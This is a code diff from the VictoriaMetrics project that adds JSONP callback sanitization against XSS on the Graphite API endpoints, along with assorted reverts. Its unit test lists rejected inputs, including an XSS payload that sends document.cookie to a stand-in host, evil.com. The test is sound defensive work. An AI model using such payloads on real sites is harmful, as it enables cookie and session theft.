Compare commits
1 Commits
v1.136.2
...
graphite-w
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
99cb26a025 |
2
.github/workflows/docs.yaml
vendored
@@ -28,7 +28,7 @@ jobs:
|
||||
path: __vm-docs
|
||||
|
||||
- name: Import GPG key
|
||||
uses: crazy-max/ghaction-import-gpg@v7
|
||||
uses: crazy-max/ghaction-import-gpg@v6
|
||||
id: import-gpg
|
||||
with:
|
||||
gpg_private_key: ${{ secrets.VM_BOT_GPG_PRIVATE_KEY }}
|
||||
|
||||
@@ -147,7 +147,7 @@ func (ui *UserInfo) beginConcurrencyLimit(ctx context.Context) error {
|
||||
case ui.concurrencyLimitCh <- struct{}{}:
|
||||
return nil
|
||||
default:
|
||||
// The number of concurrently executed requests for the given user equals the limit.
|
||||
// The number of concurrently executed requests for the given user equals the limt.
|
||||
// Wait until some of the currently executed requests are finished, so the current request could be executed.
|
||||
// See https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10078
|
||||
select {
|
||||
@@ -635,7 +635,7 @@ func getLeastLoadedBackendURL(bus []*backendURL, atomicCounter *atomic.Uint32) *
|
||||
// The Load() in front of CompareAndSwap() avoids CAS overhead for items with values bigger than 0.
|
||||
if bu.concurrentRequests.Load() == 0 && bu.concurrentRequests.CompareAndSwap(0, 1) {
|
||||
atomicCounter.CompareAndSwap(n+1, idx+1)
|
||||
// There is no need in the call bu.get(), because we already incremented bu.concurrentRequests above.
|
||||
// There is no need in the call bu.get(), because we already incremented bu.concrrentRequests above.
|
||||
return bu
|
||||
}
|
||||
}
|
||||
|
||||
@@ -89,11 +89,7 @@ func parseJWTUsers(ac *AuthConfig) ([]*UserInfo, *oidcDiscovererPool, error) {
|
||||
parsedClaims := make([]*jwt.Claim, 0, len(jwtToken.MatchClaims))
|
||||
for ck, cv := range jwtToken.MatchClaims {
|
||||
sortedClaims = append(sortedClaims, fmt.Sprintf("%s=%s", ck, cv))
|
||||
pc, err := jwt.NewClaim(ck, cv)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("incorrect match claim, key=%q, value regex=%q: %w", ck, cv, err)
|
||||
}
|
||||
parsedClaims = append(parsedClaims, pc)
|
||||
parsedClaims = append(parsedClaims, jwt.NewClaim(ck, cv))
|
||||
}
|
||||
ui.JWT.parsedMatchClaims = parsedClaims
|
||||
sort.Strings(sortedClaims)
|
||||
|
||||
@@ -48,7 +48,7 @@ var (
|
||||
responseTimeout = flag.Duration("responseTimeout", 5*time.Minute, "The timeout for receiving a response from backend")
|
||||
|
||||
requestBufferSize = flagutil.NewBytes("requestBufferSize", 32*1024, "The size of the buffer for reading the request body before proxying the request to backends. "+
|
||||
"This allows reducing the consumption of backend resources when processing requests from clients connected via slow networks. "+
|
||||
"This allows reducing the comsumption of backend resources when processing requests from clients connected via slow networks. "+
|
||||
"Set to 0 to disable request buffering. See https://docs.victoriametrics.com/victoriametrics/vmauth/#request-body-buffering")
|
||||
maxRequestBodySizeToRetry = flagutil.NewBytes("maxRequestBodySizeToRetry", 16*1024, "The maximum request body size to buffer in memory for potential retries at other backends. "+
|
||||
"Request bodies larger than this size cannot be retried if the backend fails. Zero or negative value disables request body buffering and retries. "+
|
||||
|
||||
@@ -2,10 +2,14 @@ package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/ecdsa"
|
||||
"crypto/elliptic"
|
||||
"crypto/rsa"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"math/big"
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
@@ -117,7 +121,12 @@ func (d *oidcDiscoverer) refreshVerifierPools(ctx context.Context) error {
|
||||
return fmt.Errorf("openid configuration issuer %q does not match expected issuer %q", cfg.Issuer, d.issuer)
|
||||
}
|
||||
|
||||
verifierPool, err := fetchAndParseJWKs(ctx, cfg.JWKsURI)
|
||||
keys, err := fetchJWKs(ctx, cfg.JWKsURI)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
verifierPool, err := jwt.NewVerifierPool(keys)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -128,6 +137,27 @@ func (d *oidcDiscoverer) refreshVerifierPools(ctx context.Context) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
type jwksResponse struct {
|
||||
Keys []jwk `json:"keys"`
|
||||
}
|
||||
|
||||
// See https://www.rfc-editor.org/rfc/rfc7517 for details.
|
||||
type jwk struct {
|
||||
Type string `json:"kty"`
|
||||
Alg string `json:"alg"`
|
||||
Use string `json:"use"`
|
||||
Kid string `json:"kid"`
|
||||
|
||||
// RSA keys contents
|
||||
E string `json:"e"`
|
||||
N string `json:"n"`
|
||||
|
||||
// EC keys contents
|
||||
Crv string `json:"crv"`
|
||||
X string `json:"x"`
|
||||
Y string `json:"y"`
|
||||
}
|
||||
|
||||
// See https://openid.net/specs/openid-connect-discovery-1_0.html#ProviderMetadata for details.
|
||||
type openidConfig struct {
|
||||
Issuer string `json:"issuer"`
|
||||
@@ -138,7 +168,7 @@ var oidcHTTPClient = &http.Client{
|
||||
Timeout: time.Second * 5,
|
||||
}
|
||||
|
||||
func fetchAndParseJWKs(ctx context.Context, jwksURI string) (*jwt.VerifierPool, error) {
|
||||
func fetchJWKs(ctx context.Context, jwksURI string) ([]any, error) {
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, jwksURI, nil)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create request for fetching jwks keys from %q: %w", jwksURI, err)
|
||||
@@ -154,17 +184,17 @@ func fetchAndParseJWKs(ctx context.Context, jwksURI string) (*jwt.VerifierPool,
|
||||
return nil, fmt.Errorf("unexpected status code %d when fetching jwks keys from %q", resp.StatusCode, jwksURI)
|
||||
}
|
||||
|
||||
b, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to read response body from %q: %w", jwksURI, err)
|
||||
var jwks jwksResponse
|
||||
if err := json.NewDecoder(resp.Body).Decode(&jwks); err != nil {
|
||||
return nil, fmt.Errorf("failed to decode jwks response from %q: %v", jwksURI, err)
|
||||
}
|
||||
|
||||
vp, err := jwt.ParseJWKs(b)
|
||||
keys, err := parseJwksKeys(&jwks)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to parse jwks keys from %q: %v", jwksURI, err)
|
||||
}
|
||||
|
||||
return vp, nil
|
||||
return keys, nil
|
||||
}
|
||||
|
||||
func getOpenIDConfiguration(ctx context.Context, issuer string) (openidConfig, error) {
|
||||
@@ -193,3 +223,68 @@ func getOpenIDConfiguration(ctx context.Context, issuer string) (openidConfig, e
|
||||
|
||||
return cfg, nil
|
||||
}
|
||||
|
||||
func parseJwksKeys(resp *jwksResponse) ([]any, error) {
|
||||
keys := make([]any, 0)
|
||||
for _, key := range resp.Keys {
|
||||
if key.Kid == "" {
|
||||
return nil, fmt.Errorf("jwks key without kid found")
|
||||
}
|
||||
|
||||
switch key.Type {
|
||||
case "RSA":
|
||||
if key.E == "" || key.N == "" {
|
||||
return nil, fmt.Errorf("jwks key without e or n found")
|
||||
}
|
||||
e, err := base64.RawURLEncoding.DecodeString(key.E)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to decode jwks key e: %w", err)
|
||||
}
|
||||
exp := big.NewInt(0).SetBytes(e)
|
||||
if !exp.IsInt64() || exp.Int64() < 1 {
|
||||
return nil, fmt.Errorf("invalid RSA exponent")
|
||||
}
|
||||
|
||||
n, err := base64.RawURLEncoding.DecodeString(key.N)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to decode jwks key n: %w", err)
|
||||
}
|
||||
keys = append(keys, &rsa.PublicKey{
|
||||
E: int(exp.Int64()),
|
||||
N: big.NewInt(0).SetBytes(n),
|
||||
})
|
||||
case "EC":
|
||||
if key.Crv == "" || key.X == "" || key.Y == "" {
|
||||
return nil, fmt.Errorf("jwks key without crv or x or y found")
|
||||
}
|
||||
x, err := base64.RawURLEncoding.DecodeString(key.X)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to decode jwks key x: %w", err)
|
||||
}
|
||||
y, err := base64.RawURLEncoding.DecodeString(key.Y)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to decode jwks key y: %w", err)
|
||||
}
|
||||
var curve elliptic.Curve
|
||||
switch key.Crv {
|
||||
case "P-256":
|
||||
curve = elliptic.P256()
|
||||
case "P-384":
|
||||
curve = elliptic.P384()
|
||||
case "P-521":
|
||||
curve = elliptic.P521()
|
||||
default:
|
||||
return nil, fmt.Errorf("unsupported jwks key crv %q found", key.Crv)
|
||||
}
|
||||
keys = append(keys, &ecdsa.PublicKey{
|
||||
Curve: curve,
|
||||
X: big.NewInt(0).SetBytes(x),
|
||||
Y: big.NewInt(0).SetBytes(y),
|
||||
})
|
||||
default:
|
||||
return nil, fmt.Errorf("unsupported jwk.KTY: %s; want RSA or EC", key.Type)
|
||||
}
|
||||
}
|
||||
|
||||
return keys, nil
|
||||
}
|
||||
|
||||
@@ -55,7 +55,7 @@ var (
|
||||
deduplicator *streamaggr.Deduplicator
|
||||
)
|
||||
|
||||
// CheckStreamAggrConfig checks config pointed by -streamaggr.config
|
||||
// CheckStreamAggrConfig checks config pointed by -stramaggr.config
|
||||
func CheckStreamAggrConfig() error {
|
||||
if *streamAggrConfig == "" {
|
||||
return nil
|
||||
|
||||
@@ -77,7 +77,7 @@ func push(ctx *common.InsertCtx, tss []prompb.TimeSeries) {
|
||||
r := &ts.Samples[i]
|
||||
metricNameRaw, err = ctx.WriteDataPointExt(metricNameRaw, ctx.Labels, r.Timestamp, r.Value)
|
||||
if err != nil {
|
||||
logger.Errorf("cannot write promscrape data to storage: %s", err)
|
||||
logger.Errorf("cannot write promscape data to storage: %s", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
@@ -52,7 +52,7 @@ func writeJSON(result any, w http.ResponseWriter, r *http.Request) error {
|
||||
if err != nil {
|
||||
return fmt.Errorf("cannot marshal response to JSON: %w", err)
|
||||
}
|
||||
jsonp := r.FormValue("jsonp")
|
||||
jsonp := sanitizeJSONP(r.FormValue("jsonp"))
|
||||
contentType := getContentType(jsonp)
|
||||
w.Header().Set("Content-Type", contentType)
|
||||
if jsonp != "" {
|
||||
|
||||
@@ -65,7 +65,7 @@ func MetricsFindHandler(startTime time.Time, w http.ResponseWriter, r *http.Requ
|
||||
if label == "__name__" {
|
||||
label = ""
|
||||
}
|
||||
jsonp := r.FormValue("jsonp")
|
||||
jsonp := sanitizeJSONP(r.FormValue("jsonp"))
|
||||
from, err := httputil.GetTime(r, "from", 0)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -139,7 +139,7 @@ func MetricsExpandHandler(startTime time.Time, w http.ResponseWriter, r *http.Re
|
||||
if len(delimiter) > 1 {
|
||||
return fmt.Errorf("`delimiter` query arg must contain only a single char")
|
||||
}
|
||||
jsonp := r.FormValue("jsonp")
|
||||
jsonp := sanitizeJSONP(r.FormValue("jsonp"))
|
||||
from, err := httputil.GetTime(r, "from", 0)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -202,7 +202,7 @@ func MetricsExpandHandler(startTime time.Time, w http.ResponseWriter, r *http.Re
|
||||
// See https://graphite-api.readthedocs.io/en/latest/api.html#metrics-index-json
|
||||
func MetricsIndexHandler(startTime time.Time, w http.ResponseWriter, r *http.Request) error {
|
||||
deadline := searchutil.GetDeadlineForQuery(r, startTime)
|
||||
jsonp := r.FormValue("jsonp")
|
||||
jsonp := sanitizeJSONP(r.FormValue("jsonp"))
|
||||
sq := storage.NewSearchQuery(0, math.MaxInt64, nil, 0)
|
||||
metricNames, err := netstorage.LabelValues(nil, "__name__", sq, 0, deadline)
|
||||
if err != nil {
|
||||
@@ -458,3 +458,16 @@ func getContentType(jsonp string) string {
|
||||
}
|
||||
return "text/javascript; charset=utf-8"
|
||||
}
|
||||
|
||||
// validJSONPCallback matches only safe JavaScript identifier characters,
|
||||
// preventing JSONP callback injection (XSS) on Graphite API endpoints.
|
||||
var validJSONPCallback = regexp.MustCompile(`^[a-zA-Z_$][a-zA-Z0-9_$.]*$`)
|
||||
|
||||
// sanitizeJSONP returns the callback name unchanged if it is a valid JavaScript
|
||||
// identifier, or an empty string if it contains any disallowed characters.
|
||||
func sanitizeJSONP(jsonp string) string {
|
||||
if jsonp == "" || validJSONPCallback.MatchString(jsonp) {
|
||||
return jsonp
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
@@ -66,6 +66,34 @@ func TestFilterLeaves(t *testing.T) {
|
||||
f([]string{"foo.", "bar."}, ".", []string{})
|
||||
}
|
||||
|
||||
func TestSanitizeJSONP(t *testing.T) {
|
||||
f := func(input, want string) {
|
||||
t.Helper()
|
||||
got := sanitizeJSONP(input)
|
||||
if got != want {
|
||||
t.Fatalf("sanitizeJSONP(%q) = %q; want %q", input, got, want)
|
||||
}
|
||||
}
|
||||
|
||||
f("", "")
|
||||
|
||||
// ok
|
||||
f("callback", "callback")
|
||||
f("_cb", "_cb")
|
||||
f("$", "$")
|
||||
f("jQuery", "jQuery")
|
||||
f("jQuery.fn.jsonp", "jQuery.fn.jsonp")
|
||||
f("jQuery18304567890", "jQuery18304567890")
|
||||
|
||||
// rejected
|
||||
f("alert(document.cookie)//", "")
|
||||
f("fetch('https://evil.com/?c='+document.cookie)//", "")
|
||||
f("callback\ninjected", "")
|
||||
f("callback;injected", "")
|
||||
f("callback(", "")
|
||||
f("a b", "")
|
||||
}
|
||||
|
||||
func TestAddAutomaticVariants(t *testing.T) {
|
||||
f := func(query, delimiter, resultExpected string) {
|
||||
t.Helper()
|
||||
|
||||
@@ -134,7 +134,7 @@ func RenderHandler(startTime time.Time, w http.ResponseWriter, r *http.Request)
|
||||
nextSeriess = append(nextSeriess, nextSeries)
|
||||
}
|
||||
f := nextSeriesGroup(nextSeriess, nil)
|
||||
jsonp := r.FormValue("jsonp")
|
||||
jsonp := sanitizeJSONP(r.FormValue("jsonp"))
|
||||
contentType := getContentType(jsonp)
|
||||
w.Header().Set("Content-Type", contentType)
|
||||
bw := bufferedwriter.Get(w)
|
||||
|
||||
@@ -235,7 +235,7 @@ func TagsAutoCompleteValuesHandler(startTime time.Time, w http.ResponseWriter, r
|
||||
}
|
||||
}
|
||||
|
||||
jsonp := r.FormValue("jsonp")
|
||||
jsonp := sanitizeJSONP(r.FormValue("jsonp"))
|
||||
contentType := getContentType(jsonp)
|
||||
w.Header().Set("Content-Type", contentType)
|
||||
bw := bufferedwriter.Get(w)
|
||||
@@ -318,7 +318,7 @@ func TagsAutoCompleteTagsHandler(startTime time.Time, w http.ResponseWriter, r *
|
||||
}
|
||||
}
|
||||
|
||||
jsonp := r.FormValue("jsonp")
|
||||
jsonp := sanitizeJSONP(r.FormValue("jsonp"))
|
||||
contentType := getContentType(jsonp)
|
||||
w.Header().Set("Content-Type", contentType)
|
||||
bw := bufferedwriter.Get(w)
|
||||
|
||||
@@ -37,10 +37,10 @@
|
||||
<meta property="og:title" content="UI for VictoriaMetrics">
|
||||
<meta property="og:url" content="https://victoriametrics.com/">
|
||||
<meta property="og:description" content="Explore and troubleshoot your VictoriaMetrics data">
|
||||
<script type="module" crossorigin src="./assets/index-DeVEZ1fy.js"></script>
|
||||
<script type="module" crossorigin src="./assets/index-DIRuq0ns.js"></script>
|
||||
<link rel="modulepreload" crossorigin href="./assets/vendor-BR6Q0Fin.js">
|
||||
<link rel="stylesheet" crossorigin href="./assets/vendor-D1GxaB_c.css">
|
||||
<link rel="stylesheet" crossorigin href="./assets/index-DffVfcrT.css">
|
||||
<link rel="stylesheet" crossorigin href="./assets/index-D7CzMv1O.css">
|
||||
</head>
|
||||
<body>
|
||||
<noscript>You need to enable JavaScript to run this app.</noscript>
|
||||
|
||||
244
app/vmui/packages/vmui/package-lock.json
generated
@@ -1681,9 +1681,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@rollup/rollup-android-arm-eabi": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.59.0.tgz",
|
||||
"integrity": "sha512-upnNBkA6ZH2VKGcBj9Fyl9IGNPULcjXRlg0LLeaioQWueH30p6IXtJEbKAgvyv+mJaMxSm1l6xwDXYjpEMiLMg==",
|
||||
"version": "4.52.5",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.52.5.tgz",
|
||||
"integrity": "sha512-8c1vW4ocv3UOMp9K+gToY5zL2XiiVw3k7f1ksf4yO1FlDFQ1C2u72iACFnSOceJFsWskc2WZNqeRhFRPzv+wtQ==",
|
||||
"cpu": [
|
||||
"arm"
|
||||
],
|
||||
@@ -1694,9 +1694,9 @@
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-android-arm64": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.59.0.tgz",
|
||||
"integrity": "sha512-hZ+Zxj3SySm4A/DylsDKZAeVg0mvi++0PYVceVyX7hemkw7OreKdCvW2oQ3T1FMZvCaQXqOTHb8qmBShoqk69Q==",
|
||||
"version": "4.52.5",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.52.5.tgz",
|
||||
"integrity": "sha512-mQGfsIEFcu21mvqkEKKu2dYmtuSZOBMmAl5CFlPGLY94Vlcm+zWApK7F/eocsNzp8tKmbeBP8yXyAbx0XHsFNA==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
@@ -1707,9 +1707,9 @@
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-darwin-arm64": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.59.0.tgz",
|
||||
"integrity": "sha512-W2Psnbh1J8ZJw0xKAd8zdNgF9HRLkdWwwdWqubSVk0pUuQkoHnv7rx4GiF9rT4t5DIZGAsConRE3AxCdJ4m8rg==",
|
||||
"version": "4.52.5",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.52.5.tgz",
|
||||
"integrity": "sha512-takF3CR71mCAGA+v794QUZ0b6ZSrgJkArC+gUiG6LB6TQty9T0Mqh3m2ImRBOxS2IeYBo4lKWIieSvnEk2OQWA==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
@@ -1720,9 +1720,9 @@
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-darwin-x64": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.59.0.tgz",
|
||||
"integrity": "sha512-ZW2KkwlS4lwTv7ZVsYDiARfFCnSGhzYPdiOU4IM2fDbL+QGlyAbjgSFuqNRbSthybLbIJ915UtZBtmuLrQAT/w==",
|
||||
"version": "4.52.5",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.52.5.tgz",
|
||||
"integrity": "sha512-W901Pla8Ya95WpxDn//VF9K9u2JbocwV/v75TE0YIHNTbhqUTv9w4VuQ9MaWlNOkkEfFwkdNhXgcLqPSmHy0fA==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
@@ -1733,9 +1733,9 @@
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-freebsd-arm64": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.59.0.tgz",
|
||||
"integrity": "sha512-EsKaJ5ytAu9jI3lonzn3BgG8iRBjV4LxZexygcQbpiU0wU0ATxhNVEpXKfUa0pS05gTcSDMKpn3Sx+QB9RlTTA==",
|
||||
"version": "4.52.5",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.52.5.tgz",
|
||||
"integrity": "sha512-QofO7i7JycsYOWxe0GFqhLmF6l1TqBswJMvICnRUjqCx8b47MTo46W8AoeQwiokAx3zVryVnxtBMcGcnX12LvA==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
@@ -1746,9 +1746,9 @@
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-freebsd-x64": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.59.0.tgz",
|
||||
"integrity": "sha512-d3DuZi2KzTMjImrxoHIAODUZYoUUMsuUiY4SRRcJy6NJoZ6iIqWnJu9IScV9jXysyGMVuW+KNzZvBLOcpdl3Vg==",
|
||||
"version": "4.52.5",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.52.5.tgz",
|
||||
"integrity": "sha512-jr21b/99ew8ujZubPo9skbrItHEIE50WdV86cdSoRkKtmWa+DDr6fu2c/xyRT0F/WazZpam6kk7IHBerSL7LDQ==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
@@ -1759,9 +1759,9 @@
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-arm-gnueabihf": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.59.0.tgz",
|
||||
"integrity": "sha512-t4ONHboXi/3E0rT6OZl1pKbl2Vgxf9vJfWgmUoCEVQVxhW6Cw/c8I6hbbu7DAvgp82RKiH7TpLwxnJeKv2pbsw==",
|
||||
"version": "4.52.5",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.52.5.tgz",
|
||||
"integrity": "sha512-PsNAbcyv9CcecAUagQefwX8fQn9LQ4nZkpDboBOttmyffnInRy8R8dSg6hxxl2Re5QhHBf6FYIDhIj5v982ATQ==",
|
||||
"cpu": [
|
||||
"arm"
|
||||
],
|
||||
@@ -1772,9 +1772,9 @@
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-arm-musleabihf": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.59.0.tgz",
|
||||
"integrity": "sha512-CikFT7aYPA2ufMD086cVORBYGHffBo4K8MQ4uPS/ZnY54GKj36i196u8U+aDVT2LX4eSMbyHtyOh7D7Zvk2VvA==",
|
||||
"version": "4.52.5",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.52.5.tgz",
|
||||
"integrity": "sha512-Fw4tysRutyQc/wwkmcyoqFtJhh0u31K+Q6jYjeicsGJJ7bbEq8LwPWV/w0cnzOqR2m694/Af6hpFayLJZkG2VQ==",
|
||||
"cpu": [
|
||||
"arm"
|
||||
],
|
||||
@@ -1785,9 +1785,9 @@
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-arm64-gnu": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.59.0.tgz",
|
||||
"integrity": "sha512-jYgUGk5aLd1nUb1CtQ8E+t5JhLc9x5WdBKew9ZgAXg7DBk0ZHErLHdXM24rfX+bKrFe+Xp5YuJo54I5HFjGDAA==",
|
||||
"version": "4.52.5",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.52.5.tgz",
|
||||
"integrity": "sha512-a+3wVnAYdQClOTlyapKmyI6BLPAFYs0JM8HRpgYZQO02rMR09ZcV9LbQB+NL6sljzG38869YqThrRnfPMCDtZg==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
@@ -1798,9 +1798,9 @@
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-arm64-musl": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.59.0.tgz",
|
||||
"integrity": "sha512-peZRVEdnFWZ5Bh2KeumKG9ty7aCXzzEsHShOZEFiCQlDEepP1dpUl/SrUNXNg13UmZl+gzVDPsiCwnV1uI0RUA==",
|
||||
"version": "4.52.5",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.52.5.tgz",
|
||||
"integrity": "sha512-AvttBOMwO9Pcuuf7m9PkC1PUIKsfaAJ4AYhy944qeTJgQOqJYJ9oVl2nYgY7Rk0mkbsuOpCAYSs6wLYB2Xiw0Q==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
@@ -1811,22 +1811,9 @@
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-loong64-gnu": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.59.0.tgz",
|
||||
"integrity": "sha512-gbUSW/97f7+r4gHy3Jlup8zDG190AuodsWnNiXErp9mT90iCy9NKKU0Xwx5k8VlRAIV2uU9CsMnEFg/xXaOfXg==",
|
||||
"cpu": [
|
||||
"loong64"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
"linux"
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-loong64-musl": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.59.0.tgz",
|
||||
"integrity": "sha512-yTRONe79E+o0FWFijasoTjtzG9EBedFXJMl888NBEDCDV9I2wGbFFfJQQe63OijbFCUZqxpHz1GzpbtSFikJ4Q==",
|
||||
"version": "4.52.5",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.52.5.tgz",
|
||||
"integrity": "sha512-DkDk8pmXQV2wVrF6oq5tONK6UHLz/XcEVow4JTTerdeV1uqPeHxwcg7aFsfnSm9L+OO8WJsWotKM2JJPMWrQtA==",
|
||||
"cpu": [
|
||||
"loong64"
|
||||
],
|
||||
@@ -1837,22 +1824,9 @@
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-ppc64-gnu": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.59.0.tgz",
|
||||
"integrity": "sha512-sw1o3tfyk12k3OEpRddF68a1unZ5VCN7zoTNtSn2KndUE+ea3m3ROOKRCZxEpmT9nsGnogpFP9x6mnLTCaoLkA==",
|
||||
"cpu": [
|
||||
"ppc64"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
"linux"
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-ppc64-musl": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.59.0.tgz",
|
||||
"integrity": "sha512-+2kLtQ4xT3AiIxkzFVFXfsmlZiG5FXYW7ZyIIvGA7Bdeuh9Z0aN4hVyXS/G1E9bTP/vqszNIN/pUKCk/BTHsKA==",
|
||||
"version": "4.52.5",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.52.5.tgz",
|
||||
"integrity": "sha512-W/b9ZN/U9+hPQVvlGwjzi+Wy4xdoH2I8EjaCkMvzpI7wJUs8sWJ03Rq96jRnHkSrcHTpQe8h5Tg3ZzUPGauvAw==",
|
||||
"cpu": [
|
||||
"ppc64"
|
||||
],
|
||||
@@ -1863,9 +1837,9 @@
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-riscv64-gnu": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.59.0.tgz",
|
||||
"integrity": "sha512-NDYMpsXYJJaj+I7UdwIuHHNxXZ/b/N2hR15NyH3m2qAtb/hHPA4g4SuuvrdxetTdndfj9b1WOmy73kcPRoERUg==",
|
||||
"version": "4.52.5",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.52.5.tgz",
|
||||
"integrity": "sha512-sjQLr9BW7R/ZiXnQiWPkErNfLMkkWIoCz7YMn27HldKsADEKa5WYdobaa1hmN6slu9oWQbB6/jFpJ+P2IkVrmw==",
|
||||
"cpu": [
|
||||
"riscv64"
|
||||
],
|
||||
@@ -1876,9 +1850,9 @@
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-riscv64-musl": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.59.0.tgz",
|
||||
"integrity": "sha512-nLckB8WOqHIf1bhymk+oHxvM9D3tyPndZH8i8+35p/1YiVoVswPid2yLzgX7ZJP0KQvnkhM4H6QZ5m0LzbyIAg==",
